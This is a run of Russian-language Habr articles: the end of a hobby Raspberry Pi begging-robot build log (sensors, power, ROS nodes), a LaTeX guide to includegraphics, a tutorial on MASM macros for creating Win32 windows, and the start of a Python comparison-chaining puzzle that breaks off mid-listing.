*Центральная платформа, слева направо: PCA9685, шина питания, Raspberry Pi, АЦП MCP3008*
### Навигация
Тут я не стал ничего усложнять, поэтому робот для навигации использует всего два инфракрасных дальномера Sharp GP2Y0A02YK. Это тоже не так просто, потому что датчики аналоговые, но у Raspberry, в отличие от Arduino, [нет аналоговых входов](https://www.raspberrypi.org/forums/viewtopic.php?t=46839). Эта проблема решается аналого-цифровым преобразователем (АЦП / ADC) — я использую 10-битный, 8-канальный MCP3008. Он продается в виде отдельной микросхемы, поэтому его пришлось припаять на печатную плату и туда же еще напаять пинов, чтобы было удобнее подключаться. Также по совету моего бати, который больше шарит в схемотехнике, я припаял два конденсатора (керамический и электролитический) между ножками питания и земли, чтобы гасить помехи от цифровой части всей схемы. Датчики выдают на выходе не более трех вольт, поэтому в качестве эталонного напряжения АЦП (VREF) можно подключить 3.3v с Raspberry — такое же, как и для питания MCP3008 (VDD).
MCP3008 можно управлять по интерфейсу [SPI](https://ru.wikipedia.org/wiki/Serial_Peripheral_Interface), и для этого даже несложно найти [готовый код на GitHub](https://github.com/halherta/RaspberryPi-mcp3008Spi).
**Несмотря на это, для удобной работы с АЦП потребуется немного танцев с бубном.**
```
unsigned int analogRead(mcp3008Spi &adc, unsigned char channel)
{
unsigned char spi_data[3];
unsigned int val = 0;
spi_data[0] = 1; // start bit
spi_data[1] = 0b10000000 | ( channel << 4); // mode and channel
spi_data[2] = 0; // anything
adc.spiWriteRead(spi_data, sizeof(spi_data));
// read value, combine last two bits of second byte with whole third byte
val = (spi_data[1]<< 8) & 0b1100000000;
val |= (spi_data[2] & 0xff);
return val;
}
```
На MCP3008 нужно отправить три байта, где в первом байте записан стартовый бит, а во втором — режим и номер канала (0-7). Обратно получаем тоже три байта, после чего нужно склеить два младших бита второго байта со всеми битами третьего.
Теперь, когда мы можем получить значения с датчиков, их нужно откалибровать, потому что два датчика могут между собой немного различаться. Вообще отображение из расстояния в силу сигнала у этих датчиков нелинейное и не очень простое ([подробнее в даташите, pdf](https://cdn-shop.adafruit.com/product-files/1031/GP2Y0A02YK-DATA-SHEET.PDF)). Поэтому достаточно только подобрать два коэффициента, при умножении на которые датчики будут выдавать значение 1.0 на каком-нибудь осмысленном, одинаковом расстоянии.
Показания датчиков могут быть довольно шумными, особенно на сложных препятствиях, поэтому я использую экспоненциально взвешенное скользящее среднее (EWMA) для сглаживания сигнала каждого датчика. Параметры сглаживания я подобрал на глаз, чтобы сигнал не шумел и при этом не сильно отставал от реальности.
*Вид спереди: банка, дальномеры и бампер.*
### Питание
Для начала оценим, какой ток будет потреблять робот ([про потребление тока Raspberry и периферией](https://www.raspberrypi.org/documentation/hardware/raspberrypi/power/README.md)):
* Raspberry Pi 2B: не менее 350 мА, но больше под нагрузкой (до 750-820 мА (?));
* Камера: порядка 250 мА;
* Neural Compute Stick: заявленная потребляемая мощность 1 ватт, при напряжении 5 вольт на USB это 200 мА;
* ИК датчики: по 33 мА каждый ([даташит, pdf](https://cdn-shop.adafruit.com/product-files/1031/GP2Y0A02YK-DATA-SHEET.PDF));
* MCP3008: очень мало, порядка 0.5 мА ([даташит, pdf](https://cdn-shop.adafruit.com/datasheets/MCP3008.pdf));
* PCA9685: тоже мало, 6 мА ([даташит, pdf](https://cdn-shop.adafruit.com/datasheets/PCA9685.pdf));
* Сервоприводы: от ~150-200 мА до 1500-2000 мА при максимальной нагрузке (stall current), но в роботе они так сильно нагружаться не будут ([даташит FS5109M, pdf](https://ecksteinimg.de/Datasheet/MO01011/FS5109M.pdf))
* HDMI (подключение монитора для отладки): 50 мА;
* Клавиатура + мышь (для отладки): ~200 мА.
Итого можно прикинуть, что 1.5-2.5 ампера должно хватить при условии, что все сервоприводы не движутся одновременно под большой нагрузкой. При этом для Raspberry нужны условные 5 вольт напряжения, а для сервоприводов — 4.8-6 вольт. Осталось найти источник питания, который удовлетворяет этим требованиям.
В итоге я решил запитать робота от аккумуляторов формата 18650. Если взять два аккумулятора [ROBITON 3.4/Li18650](https://www.robiton.ru/product/12387) (3.6 вольт, 3400 мАч, максимальный ток разряда 4875 мА) и соединить их последовательно, то они смогут выдавать до 4.8 ампер при напряжении 7.2 вольт. При токе потребления 1.5-2.5 ампера их должно хватить на час или два.
У аккумуляторов, кстати, есть подвох: несмотря на указанный форм-фактор 18650, их размеры далеко не  мм — они на несколько миллиметров длиннее из-за встроенной схемы управления зарядкой. Из-за этого мне пришлось ножом подхачить батарейный отсек, чтобы они туда поместились.
Осталось только понизить напряжение до 5 вольт. Для этого я использую два отдельных понижающих DC-DC конвертера [DFRobot Power Module](https://www.dfrobot.com/product-752.html). Эта железка позволяет понижать напряжение при входном напряжении 3.6-25 вольт и разнице напряжений не менее 0.6 вольт. Для удобства на ней есть переключатель, позволяющий выбрать ровно 5 вольт на выходе, либо можно настроить произвольное выходное напряжение при помощи специального регулятора. Я настроил оба конвертера на 5 вольт; один из них питает Raspberry через Micro-USB разъем, а второй питает сервоприводы через клеммы PCA9685. Это нужно для того, чтобы максимально развязать питание логической и силовой частей робота, чтобы они не мешали друг другу.
На этапе отладки я использовал вместо аккумуляторов китайский блок питания на 9 вольт, 2 ампера, и его хватало для работы робота — я подключал его так же, как и аккумуляторы, к двум DC-DC преобразователям. Поэтому для удобства я сделал клеммы на роботе, к которым можно подключить блок питания или батарейный отсек на выбор. Это очень помогло, когда я полностью переписывал весь код на ROS, и мне приходилось подолгу отлаживать робота, в том числе сервоприводы.
Для удобства еще пришлось сделать «шину питания» — по сути, просто кусок платы с тремя рядами соединенных пинов для земли, 3.3v и 5v соответственно. Шина подключается к соответствующим пинам Raspberry. От 5v шины питаются только ИК дальномеры, а от 3.3v шины — MCP3008 и PCA9685.
Ну и конечно, по старой доброй традиции я поставил на робота Большую Красную Кнопку — она при нажатии просто прерывает всю цепь питания. Для экстренной остановки ее использовать не приходилось, но включать робота с помощью кнопки и правда удобнее.
*Нижняя платформа, слева направо: батарейный отсек, NCS, DC-DC преобразователи, сервоприводы с колесами, дальномеры.*
### Управление роботом
На Raspberry Pi 2B нет Wi-Fi, поэтому мне приходится подключаться по ssh через Ethernet кабель (кстати, это можно делать и [напрямую от ноутбука, не используя роутер](https://stackoverflow.com/questions/16040128/hook-up-raspberry-pi-via-ethernet-to-laptop-without-router)). В получается такая схема: подключаемся по ssh через кабель, запускаем робота и сдергиваем кабель. Затем его можно будет вернуть на место, чтобы снова получить доступ к Raspberry. Есть и более элегантные решения, но я решил не усложнять.
Чтобы робота можно было легко остановить, не выключая, я добавил на него массивный советский переключатель (с подводной лодки?), при выключении которого программа завершается, а робот останавливается.
Переключатель подключается к земле и к одному из GPIO пинов Raspberry, а читать с него можно при помощи [библиотеки WiringPi](http://wiringpi.com/):
```
wiringPiSetup();
pinMode(PIN_SWITCH, INPUT);
pullUpDnControl(PIN_SWITCH, PUD_UP);
bool value = digitalRead(BB_PIN_SWITCH);
```
Стоит заметить, что при таком подключении напряжение на пине нужно подтянуть до 3.3v, и при этом он будет выдавать высокий сигнал в разомкнутом состоянии, и низкий сигнал в замкнутом.
### Собираем все вместе
**Потоки**
Теперь все вышеперечисленное нужно объединить в одну программу, управляющую роботом. В первой версии робота я сделал это при помощи потоков ([pthread](https://en.wikipedia.org/wiki/POSIX_Threads)). Эта версия находится в ветке [master](https://github.com/BeloborodovDS/BeggarBot/tree/master), но код там довольно страшный.
Программа работает в четыре потока: один поток забирает кадры с камеры и запускает детектор на NCS; второй поток читает данные с дальномеров; третий поток следит за переключателем и выставляет глобальную переменную `is_running` в `false`, если он выключен; главный поток отвечает за поведение робота и управление сервоприводами. У потоков есть общие с главным потоком указатели, по которым они пишут результаты своей работы. Вектора, в которых хранится информация о лицах, найденных детектором, я ограничил мьютексом, а другие, более простые общие переменные, объявил как атомарные. Для координации потока детектора лиц с главным потоком есть флаг `face_processed`, который сбрасывается, когда с детектора приходит новый результат, и поднимается, когда главный поток использует этот результат для выбора поведения — это нужно для того, чтобы не обрабатывать старые данные, которые могут быть не актуальны после перемещения.
**ROS**
Версия с потоками прекрасно работала, однако я все это затеял для того, чтобы чему-нибудь научиться, так почему бы заодно не освоить [ROS](https://www.ros.org/)? Этот фреймворк давно был у меня на слуху, и мне даже приходилось немного работать с ним на хакатоне, поэтому в итоге я решил переписать весь код на ROS. Эта версия кода лежит в дефолтной ветке [ros](https://github.com/BeloborodovDS/BeggarBot/tree/ros) и выглядит гораздо приличнее. Понятно, что реализация на ROS почти наверное будет медленнее реализации на потоках из-за накладных расходов на пересылку сообщений и все остальное — вопрос только в том, насколько?
**Концепция ROS**
ROS (Robot Operating System) — это фреймворк для разработки роботов, включающий в себя много полезных инструментов и готовых пакетов с алгоритмами для робототехники, менеджер этих пакетов, а также средства взаимодействия между различными процессами робота.
Главная концепция заключается в том, что программа, управляющая роботом, состоит из набора узлов (node), возможно, находящихся на разных машинах, взаимодействующих при помощи сообщений или вызова сервисов.
Каждый узел может создать набор топиков (topic) и писать в них сообщения (message) определенного типа, а также подписаться на набор топиков и вызывать функцию-коллбэк на каждое новое сообщение.
Второй возможный вариант взаимодействия — это сервисы (service). Узел может объявить о создании сервиса с определенным именем, а другие узлы могут эти сервисы вызывать, отправляя запросы и получая ответы. Сервис можно интерпретировать как интерфейс «удаленной функции», работающей в другом узле.
Типы сообщений и сервисов описываются в специальных файлах типа `.msg` и `.srv` соответственно. Затем по этим файлам генерируется код для необходимого языка программирования.
Основы ROS хорошо описаны в [официальных туториалах](http://wiki.ros.org/ROS/Tutorials).
Для своего робота я не использовал каких-либо готовых пакетов с алгоритмами из ROS, я только оформил код робота в виде отдельного пакета, состоящего из пяти узлов, общающихся между собой при помощи сообщений и сервисов ROS.
Самый простой узел, `switch_node`, следит за состоянием переключателя. Как только переключатель оказывается выключен, узел начинает спамить неинформативные сообщения типа `bool` в топик `terminator`. Это — сигнал главному узлу о том, что пора завершать работу.
Второй узел, `sensor_node`, периодически читает показания обоих ИК дальномеров и отправляет их в топик `sensor_state` одним сообщением. Также этот узел отвечает за обработку сигнала: масштабирование калибровочными коэффициентами и скользящее среднее.
Третий узел, `camera_node`, отвечает за все, что связано с лицами: берет изображения с камеры, обрабатывает их, получает результаты детектора, пропускает их через трекер, а затем находит ближайшее к центру кадра лицо — остальные робот все равно не использует, а сообщения хочется делать поменьше. Сообщения, которые узел отправляет в топик `camera_state`, содержат номер кадра, факт наличия лица (потому что об отсутствии лица тоже нужно знать), относительные координаты левого верхнего угла, ширину и высоту лица. Вот так в итоге выглядит описание типа сообщения в файле `DetectionBox.msg`:
```
int64 count
bool present
float32 x
float32 y
float32 width
float32 height
```
Четвертый узел, `servo_node`, отвечает за сервоприводы. Во-первых, он поддерживает сервис `servo_action`, который позволяет выполнить одно из действий сервоприводами по его номеру: перевести весь узел в начальное состояние (брови, банку, голову, остановить шасси); перевести голову в начальное состояние; потрясти банкой; изобразить бровями одно из трех выражений (доброе, нейтральное, злое). Во-вторых, с помощью сервиса `servo_speed` можно установить новые скорости для обоих колес, отправив их в запросе. Оба сервиса ничего не возвращают. Наконец, есть сервис `servo_head_platform`, который позволяет вращать голову и/или шасси на определенный угол относительно текущего положения. Этот сервис возвращает `true`, если голову удалось повернуть хотя бы частично, и `false` иначе — в случае, когда голова уже находится на границе допустимого угла, а мы пытаемся повернуть ее еще дальше. Если в запросе оба угла ненулевые, сервис совершает вращение асинхронно, как было указано выше. В главном цикле серво-узел ничего не делает.
Вот так, например, выглядит описание сервиса `servo_head_platform`:
```
float32 head_delta
float32 platform_delta
---
bool head_success
```
Каждый из перечисленных узлов поддерживает сервис `terminate_{switch, camera, sensor, servo}` с пустым запросом-ответом, который останавливает работу узла. Реализовано это таким образом:
**Немного кода**
```
...
std::atomic_bool is_running; // global
bool terminate_node(std_srvs::Empty::Request &req, std_srvs::Empty::Response &ignored) {
is_running = false;
return true;
}
int main(int argc, char **argv) {
is_running = true;
...
while (is_running && ros::ok()) {
// do stuff
}
...
}
```
У узла есть глобальная переменная `is_running`, от значения которой зависит главный цикл узла. Сервис просто сбрасывает эту переменную, и главный цикл прерывается.
Есть еще главный узел `beggar_bot`, в котором реализована основная логика робота. До начала главного цикла он подписывается на топики `sensor_state` и `camera_state` и в функциях-коллбэках сохраняет содержимое сообщений в глобальные переменные. Еще он подписан на топик `terminator`, коллбэк для которого сбрасывает флаг `is_running`, прерывая главный цикл. Также перед началом цикла узел объявляет интерфейсы для сервисов серво-узла и ждет несколько секунд, чтобы другие узлы успели запуститься. После окончания главного цикла этот узел вызывает сервисы `terminate_{switch, camera, sensor, servo}`, таким образом выключая все остальные узлы, а затем выключается сам. То есть, при выключении переключателя все пять узлов завершают работу.
Переход на ROS вынудил меня довольно сильно изменить структуру программы. Например, раньше можно было с большой частотой менять скорость колес, и это нормально работало, но ROS-сервис работает на порядок медленнее, поэтому пришлось переписать код так, чтобы сервис вызывался только тогда, когда скорость реально меняется (в «ленивом режиме»).
ROS также позволяет довольно удобно запускать все узлы робота. Для этого нужно написать [файл запуска .launch](https://github.com/BeloborodovDS/BeggarBot/blob/ros/robot.launch), перечисляющий все узлы и другие атрибуты робота в формате xml, а затем выполнить команду:
```
roslaunch beggar_bot robot.launch
```
**ROS против pthread**
Теперь, наконец, можно сравнить скорость работы ROS-версии и pthread-версии. Я это делаю таким образом: поток / узел, отвечающий за работу с камерой, считает свой FPS (как наиболее медленный элемент) при условии того, что все остальное тоже работает. Для pthread-версии я стабильно получал FPS 9.99 или около того, для ROS-версии получилось примерно 8.3. На самом деле, этого вполне достаточно для такой игрушки, но накладные расходы весьма заметны.
### Поведение робота
Затея вполне простая: если робот видит человека, он должен подъехать к нему и потрясти банкой. Трясти банкой довольно просто и весело, но сначала нужно до человека добраться.
Есть функция `follow_face`, которая при наличии в кадре лица поворачивает шасси и голову робота в его сторону (при этом учитывается только ближайшее к центру лицо). Это нужно для того, чтобы робот всегда держал курс на человека, если он есть в кадре, а также смотрел прямо в лицо, когда трясет банкой.
Для синхронизации этой функции с топиком `camera_state` используется такая же переменная `face_processed`, как и в версии с потоками. Идея все та же — мы хотим обрабатывать данные только один раз, потому что робот постоянно движется. Функция сначала ждет, пока коллбэк топика с детекциями не опустит флаг о том, что последний кадр обработан. Пока она ждет, она постоянно вызывает `ros::spinOnce()`, чтобы получать новые сообщения (вообще это нужно делать везде, где программа ожидает новые данные). Если лицо в кадре есть, рассчитываются углы, на которые нужно повернуть платформу и голову — это можно сделать, зная относительные координаты центра лица и поле зрения камеры по горизонтали и вертикали. После этого можно вызывать сервис `servo_head_platform` и двигать робота.
Тут есть один тонкий момент: информация о положении лица отстает от реального перемещения лица и может отставать от перемещений самого робота. Поэтому робот может переоценивать угол поворота, из-за чего голова начинает двигаться туда-сюда с нарастающей амплитудой. Чтобы это предотвратить, я делаю задержки после перемещения (300 мс), а также пропускаю один кадр, следующий за перемещением. Для этой же цели углы поворота шасси и головы умножаются на коэффициент 0.8 (имеет смысл P-компоненты [PID-регулятора](https://en.wikipedia.org/wiki/PID_controller)).
Функция `follow_face` возвращает статус лица. Лицо может: отсутствовать, быть достаточно близко к центру, находиться на слишком большом расстоянии от робота; еще один вариант — когда мы повернули робота и не знаем, что стало с лицом (в процессе поиска); есть еще редкий случай, когда голова находится на границе, из-за чего к лицу повернуться нельзя.
В главном цикле происходит довольно простая вещь:
1. Вызывать `follow_face` до тех пор, пока у лица не будет определенный статус (любой, кроме «в процессе поиска»). По окончании этого шага робот будет смотреть прямо на лицо.
2. Если лицо найдено и оно близко:
1. Потрясти банкой;
2. Найти лицо еще раз;
3. Если лицо на месте, сделать доброе выражение бровями и потрясти банкой еще раз;
4. Если же лицо исчезло, сделать сердитое выражение бровями;
5. Развернуться, переход в начало цикла.
3. Если лица нет (или оно далеко) — навигация по помещению:
1. Если с обеих сторон до препятствий далеко — ехать вперед (если лицо было найдено, но оказалось слишком далеко, робот поедет к человеку);
2. Если с обеих сторон препятствия близко, совершить случайный поворот в диапазоне ![$[90, 180] \cup [-180, -90]$](https://habrastorage.org/getpro/habr/formulas/855/aed/576/855aed57644ce8e5d993c414a9c02d75.svg);
3. Если препятствие только с одной стороны, повернуться в противоположную сторону на случайный угол ![$[0, 90]$](https://habrastorage.org/getpro/habr/formulas/f67/4b7/91f/f674b791fc227263b1fbf678aae65710.svg);
4. Если движение вперед продолжается слишком долго (возможно, застрял), отъехать немного назад и совершить случайный поворот в диапазоне ![$[90, 180] \cup [-180, -90]$](https://habrastorage.org/getpro/habr/formulas/855/aed/576/855aed57644ce8e5d993c414a9c02d75.svg);
Этот алгоритм не претендует на звание сильного искусственного интеллекта, однако рандомизированное поведение и широкий бампер позволяют роботу рано или поздно выбраться почти из любого положения.
### Заключение
Несмотря на кажущуюся простоту, этот проект покрывает много нетривиальных тем: работу с аналоговыми датчиками, работу с ШИМ, компьютерное зрение, координацию асинхронных задач. К тому же, это просто безумно весело. Вероятно, дальше я займусь чем-нибудь более осмысленным, но больше с уклоном в глубокое обучение.
*В качестве бонуса — галерея:*
 | https://habr.com/ru/post/500150/ | null | ru | null |
# Графика в LaTeX. Часть II
В конце прошлого года я опубликовал [статью](http://alex.kotomanov.com/2009/01/11/graph_in_latex/), посвящённую графике в LaTeX. Сегодня вот наконец собрался написать продолжение. Из-за объёма материала пришлось разбить статью на несколько частей.
В этой статье вы узнаете как импортировать растровую и векторную графику.
#### Импортированная графика
В наш документ можно импортировать готовые изображения (как растровые, так и векторные). Но для этого нам сначала нужно подключить драйвер (**dvips**, **pdftex** или др.). Для подключения драйвера используем следующую конструкцию в преамбуле документа:
> `\**ifx**\**pdfoutput**\**undefined**
>
> \**usepackage**{graphicx}
>
> \**else**
>
> \**usepackage**[pdftex]{graphicx}
>
> \**fi**`
Чтобы вставить изображение, используем команду `\**includegraphics**`. Синтаксис команды таков:
> `\**includegraphics**[keyval-list]{file}`,
где `file` — имя файла, а `keyval-list` — список ключей, которые задаются в виде `**key**=*value*` через запятую.
Расширение файла с рисунком в команде `\**includegraphics**` можно не указывать, поскольку драйвер сам знает, какие типы файлов он может обработать, а какие нет. Для драйвера **dvips** это файлы с расширением **eps**, **ps**, **eps.gz**, **ps.gz**, **eps.Z**, а для драйвера **pdftex** — **png**, **pdf**, **jpg**, **mps**, **tif**. Когда расширение файла в команде не указано, драйвер последовательно добавляет к имени файла все известные ему расширения, пока не найдёт первый подходящий файл. Пример:
`\**includegraphics**{01}`
Возможные ключи:
* `**width**=*length*` — устанавливает в любых TeX'овских единицах длины ширину области, выделяемой для рисунка. Пример:
`\**includegraphics**[width=1in]{01}`
* `**height**=*length*` — устанавливает высоту рисунка. Пример:
`\**includegraphics**[width=1in,height=10mm]{01}`
* `**totalheight**=*length*` — полная высота. Так и не понял, зачем он нужен)))
* `**keepaspectratio**` — сохраняет пропорцию рисунка при изменении ширины и/или высоты. Пример:
`\**includegraphics**[width=1in,%
height=1cm,keepaspectratio]{01}`
* `**scale**=*scale*` — масштабирование рисунка в `*scale*` раз. Пример:
`\**includegraphics**[scale=0.5]{01}`
* `**viewport**=*llx lly urx ury*`
* `**trim**=*dl db dr du*` — эти ключи задают так называемую видимую область рисунка. Здесь `*llx lly urx ury*` — это x- и y-координаты левого нижнего и правого верхнего углов видимой области рисунка относительно точки отсчёта, а `*dl db dr du*` — это расстояния между левыми, нижними, правыми и верхними границами видимой области рисунка и самого рисунка. Пример:
`\**includegraphics**[viewport=-5 -5 50 50]{01}`
* `**clip**=*boolean*` — если значение равно `true`, то данный ключ отсекает часть рисунка, выходящую за границы видимой области. Пример:
`\**includegraphics**[viewport=-5 -5 50 50,clip]{01}`
* `**angle**=*angle*` — этот ключ поворачивает рисунок на `*angle*` градусов против часовой стрелки. Ось вращения проходит через точку отсчёта бокса. Пример:
`\**includegraphics**[scale=0.3,angle=30]{01}`
* `**draft**` — на стадии подготовки документа можно использовать этот ключ. Он указывает, что вместо рисунка надо начертить рамку и напечатать внутри неё имя файла. Пример:
`\**includegraphics**[scale=0.5,draft]{01}`
#### Полезные ссылки:
* <http://www.intuit.ru/department/publish/latex/>
* <http://mirror.macomnet.net/pub/CTAN/systems/win32/miktex/tm/packages/>
* <http://forum.ru-board.com/topic.cgi?forum=5&topic=4633#1>
Оригинал статьи: [alex.kotomanov.com/2009/02/03/graph\_in\_latex\_2](http://alex.kotomanov.com/2009/02/03/graph_in_latex_2/)
P. S. В следующей части я расскажу про цвет в LaTeX. | https://habr.com/ru/post/48122/ | null | ru | null |
# Использование макросов в MASM на примере создания окна
В далеком 2001-ом году я проводил много времени за изучением ассемблера под Win32. Тогда после долгих мучений с написанием одного и того же кода по сотне раз я взялся написать для себя небольшую библиотеку макросов. В итоге удалось достаточно серьезно облегчить себе судьбу и уменьшить необходимость повторять огромные полотенца кода, при необходимости написать простейшую программу с одним окном.
Недавно наткнулся на те проекты и решил выложить некоторые из них, может кому пригодится…
###### Состав проекта
Итак приступим. Проект, прикрепленный внизу, имеет следующую структуру.
| | | |
| --- | --- | --- |
| \Macros | | Каталог с макросами, используемыми в приложении |
| | Macros.Inc | Здесь находятся основные макросы, которые нужны при написании любой Win32 программы. Здесь макросы для выделения памяти, облегчения включения файлов, макросы для определения данных и проч. |
| | Window.Mac | Макросы, которые облегчают создание окон |
| | Status.Mac | Макросы для создания и использования статус строк |
| | Menu.Mac | Макросы для создания и использования меню |
| Quake.Bmp | | Изображение, которое будет загружено и отображено в окне программы |
| Scull.Ico | | Иконка изображения (просто черепок) |
| Rsrc.rc | | Файл определения ресурсов |
| Window.Asm | | Основной файл программы |
| Window.Exe | | Откомпилированная программа |
| WndExample.Asm | | В данном файле находится исходный код для обработки сообщений идущих к окну «Example» нашей программы |
При запуске Window.Exe отображаемое окно будет выглядеть следующим образом:
###### Простейшая программа, без окна
```
include macros\macros.inc
@Start
@Uses kernel32
.code
WinMain Proc
invoke ExitProcess, 0
WinMain Endp
End WinMain
```
Первой строкой здесь включение основных макросов, далее идет макрос [Start](https://habrahabr.ru/users/start/), который создает начало программы и подставляет информацию о модели памяти, об используемом процессоре и проч. Далее идет макрос [Uses](https://habrahabr.ru/users/uses/) он включает необходимую библиотеку в программу. В данном случае мы будем использовать kernel32.dll так как именно она содержит в себе используемую нами функцию завершения процесса ExitProcess.
Далее следует блок кода указанный с помощью **.code**, в котором находится основная процедура программы. По факту сама процедура может называться как угодно и название WinMain я дал ей просто от балды. Главное, чтобы в конце файла была строка **End {Имя\_функции\_точки\_входа}**
Эта программа не несет никакой функциональной нагрузки, поэтому после запуска она ничего не будет делать — просто завершит свою работу. Теперь исходный код программы, приведенной в архиве:
```
include macros\macros.inc
IDC_MAINSTATUS Equ 1
IDC_MENUEXIT Equ 10
@Start
@Uses gdi32, user32, comctl32, kernel32
.xlist
include macros\Menu.mac
include macros\Window.mac
include macros\Status.mac
.list
.data?
hIcon Dd ?
hBrush Dd ?
hCursor Dd ?
hImage Dd ?
hInstance Dd ?
@DefineMenu Menu
@DefineStatus Example
@DefineWindow Example
.code
; Main program cycle
WinMain Proc
mov hInstance, @Result(GetModuleHandle, NULL)
mov hIcon, @Result(LoadIcon, hInstance, 100)
mov hCursor, @Result(LoadCursor,NULL,IDC_ARROW)
mov hBrush, @Result(GetSysColorBrush, COLOR_APPWORKSPACE)
@CreateWindow Example, hInstance, NULL,'Example_wnd', \
WS_OVERLAPPED+WS_CAPTION+WS_SYSMENU+WS_VISIBLE, \
WS_EX_APPWINDOW, 'Example', \
hIcon, hBrush, hCursor, NULL
@SetWndSize Example, 700, 600
@MoveWnd Example, 100, 100
@CreateMenu Menu
@AppendMenu Menu, 'Exit', IDC_MENUEXIT
@AttachMenu Example, Menu
@CreateStatus Example, Example, IDC_MAINSTATUS
@SetStatusParts Example, 2,300,-1,0,0,0,0,0,0,0,0
@SetStatusText Example, 'Example program window...', 0, 0
@SetStatusText Example, 'The CHEMI$T Copyright(C)2001', 0, 1
@ProcessMsgs Example, FALSE
@DestroyMenu Menu
@DestroyWindow Example
invoke ExitProcess, 0
WinMain Endp
End WinMain
```
Теперь объясню поэтапно, что происходит в этом исходнике. Первое, включаются макросы реализации меню, статус-строки и оконного функционала. Они обрамлены спец командами макроассемблера **.xlist** (отключение листинга) и **.list**(включение листинга) это было сделано только для того, чтобы в случае выдачи листинга макроассемблером, не было кода из этих файлов /ибо только лишние полотенца кода/ Далее идет описание блока неинициализированных данных **.data?**, переменные в данном блоке не инициализируются, система просто выделяет память не обнуляя ее. Такие переменные без инициализации использовать чревато, ибо в памяти находится может что угодно. Здесь же выделяется место под переменные, которые в первых строках метода WinMain принимаю значения загруженных ресурсов и инстанса самого приложения.
Макросы @DefineMenu, @DefineStatus и @DefineWindow производят первоначальную инициализацию переменных, в которых будут хранится параметры объектов /меню, статус строки и окна соответственно/
И уже после всех инициализаций идет самое интересное.
Четыре первых строки
```
mov hInstance, @Result(GetModuleHandle, NULL)
mov hIcon, @Result(LoadIcon, hInstance, 100)
mov hCursor, @Result(LoadCursor,NULL,IDC_ARROW)
mov hBrush, @Result(GetSysColorBrush, COLOR_APPWORKSPACE)
```
Инициализируют переменные /инстанс приложения, иконка, курсор, кисть для отрисовки окна/. Здесь используется приятный макрос [Result](https://habrahabr.ru/users/result/). Этот макрос выполняет указанный вызов API с переданными параметрами и возвращает содержимое регистра EAX, который служит для возврата результатов функции. Если бы не было данного макроса, то каждая строка разбивалась на подобный код :
```
invoke GetModuleHandle, NULL
mov hInstance, eax
```
Макросы для создания и работы окна должны вызываться последовательно, @CreateWindow — создает окно, @SetWndSize — выставляет размер окна, @MoveWnd перемещает окно в нужные координаты на экране, @ProcessMsgs отрабатывает основной цикл обработки сообщений, идущих к вашему окну, @DestroyWindow — удаляет окно. Когда вы создаете окно, вам необходимо создать файл с обработчиками событий данного окна. В приведенном проекте это файл WndExample.Asm. Данное имя задано с тем, что файл обработчик событий включается автоматически по маске Wnd<Имя\_окна>.Asm
Макросы для создания меню и для создания статус-строки я особо не доделывал тогда, сделал только до необходимого мне функционала.
Макросы работы с меню:
**@CreateMenu {Имя\_меню}**
Создание меню с нужным именем
**@AppendMenu {Имя\_меню}, {Заголовок\_пункта\_меню}, {Код\_сообщения}**
Добавление пункта меню с нужным заголовком. По нажатии на данный пункт меню в очередь сообщений попадет код сообщений.
**@AttachMenu {Имя\_окна}, {Имя\_меню}**
Добавление меню к указанному окну.
Макросы для работы со статус строкой /Необходим ComCtl32/
**@CreateStatus {Имя\_статус\_строки}, {Имя\_окна}, {ID\_статус-строки}**
Создание статус строки у указанного окна
**@SetStatusParts {Имя\_статус\_строки}, {Кол-во\_частей}, {Ширина\_части}, {}, {}, {}, {}** /До десяти частей, последняя указывается размер=-1, т.е. растянуть/
Разделение на несколько частей, данный макрос можно было бы доработать, но как то видимо я этого тогда не сделал
**@SetStatusText {Имя\_статус\_строки}, {Текст}, {Стиль /уже не помню для чего/}, {Часть\_статус\_строки}**
Выставление статуса в нужную часть статус строки
###### Файл с обработчиками событий
В данном файле указывается исходный текст основной процедуры окна, в которой регистрируются пользовательские обработчики и в которой также должны быть зарегистрированы обработчики событий меню. Каждый обработчик события окна выглядит так:
**@WndHandlerStart {Имя\_окна}, {Имя\_обработчика}**
**mov eax, TRUE**
**@WndHandlerEnd {Имя\_окна}, {Имя\_обработчика}**
Основная процедура в приведенном проекте находится в конце файла и выглядит так:
```
@WndProcedureBegin Example, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT
; Menu handlers
@WndMenuHandler IDC_MENUEXIT, Exit
; Sample user handler
@WndUserHandler Example, WM_SIZING
@WndProcedureEnd Example
```
Здесь назначается обработчик пункта меню, которому назначен Код\_сообщения IDC\_MENUEXIT обработчик с именем Exit. А также регистрируется пользовательский обработчик сообщения WM\_SIZING. Пользовательский обработчик событий должен иметь имя сообщения, которое он обрабатывает. Все события, которые заранее прописаны в окне можно посмотреть в файле Window.Mac, в макросе @WndProcedureBegin. Список этих событий таков: Close, Paint, Help, Activate, Deactivate, SysCommand, Show, Hide, Create, Destroy, KeyDown, KeyUp, Resize, DblClick, MouseUp, MouseDown, WheelDown, WheelUp. Примеры данных обработчиков включены в исходник проекта и вы можете понажимать F1 в окне и покрутить колесо мыши.
В принципе все, что связано с этими событиями можно посмотреть в MSDN и исходниках, в этом нет ничего сложного и в данном описании я не буду включать.
###### Компиляция программы
Для компиляции необходим пакет masm32 (можно найти [здесь](http://www.masm32.com/masmdl.htm)) После установки желательно внести путь до каталога **masm32\bin** в переменную окружения Path и отредактировать файл **masm32/bin/build.bat** исправив вызов компилятора ml и линкера, чтобы добавить пути библиотек и включаемых файлов и не приходилось постоянно данные пути прописывать в коде.
Так в вызов ML.Exe нужно добавить еще один параметр /IF:\masm32\include — вместо F:\masm32 вам нужно указать путь, куда установился пакет masm32 у вас. А в два вызова линкера Link.exe нужно добавить путь к библиотекам с помощью параметра /LIBPATH:F:\masm32\lib. Опять же путь замените на тот, который соответствует вашему.
Далее, в каталоге с проектом даем две команды: **bres** (*bres.bat* производит компиляцию файла ресурсов rsrc.rc в текущем каталоге) и следом за ним **build window** (*build.bat* — производит компиляцию и линковку проекта).
Проекты переложил на [GitHub](https://github.com/dovgalenko/Window) | https://habr.com/ru/post/107272/ | null | ru | null |
# Что вернет операция 1 < 3 < 2?
**Ответ: False**
Если предположить, что это выражение состоит из двух отдельных операций, то слева на право: `1 < 3 = True, True(понимаем 1) < 2` также долен вернуть `True`, но почему-то `False`.
Фишка в том, что `1 < 3 < 2` это не две отдельных операции, а одна сложная. Давайте продизассемблируем (в питоновсеий дизассемблер) наше выражение. Как видим на выходе весьма спицефический код:
```
from dis import dis
dis(lambda: 1<3<2)
1 0 LOAD_CONST 1 (1)
3 LOAD_CONST 2 (3)
6 DUP_TOP
7 ROT_THREE
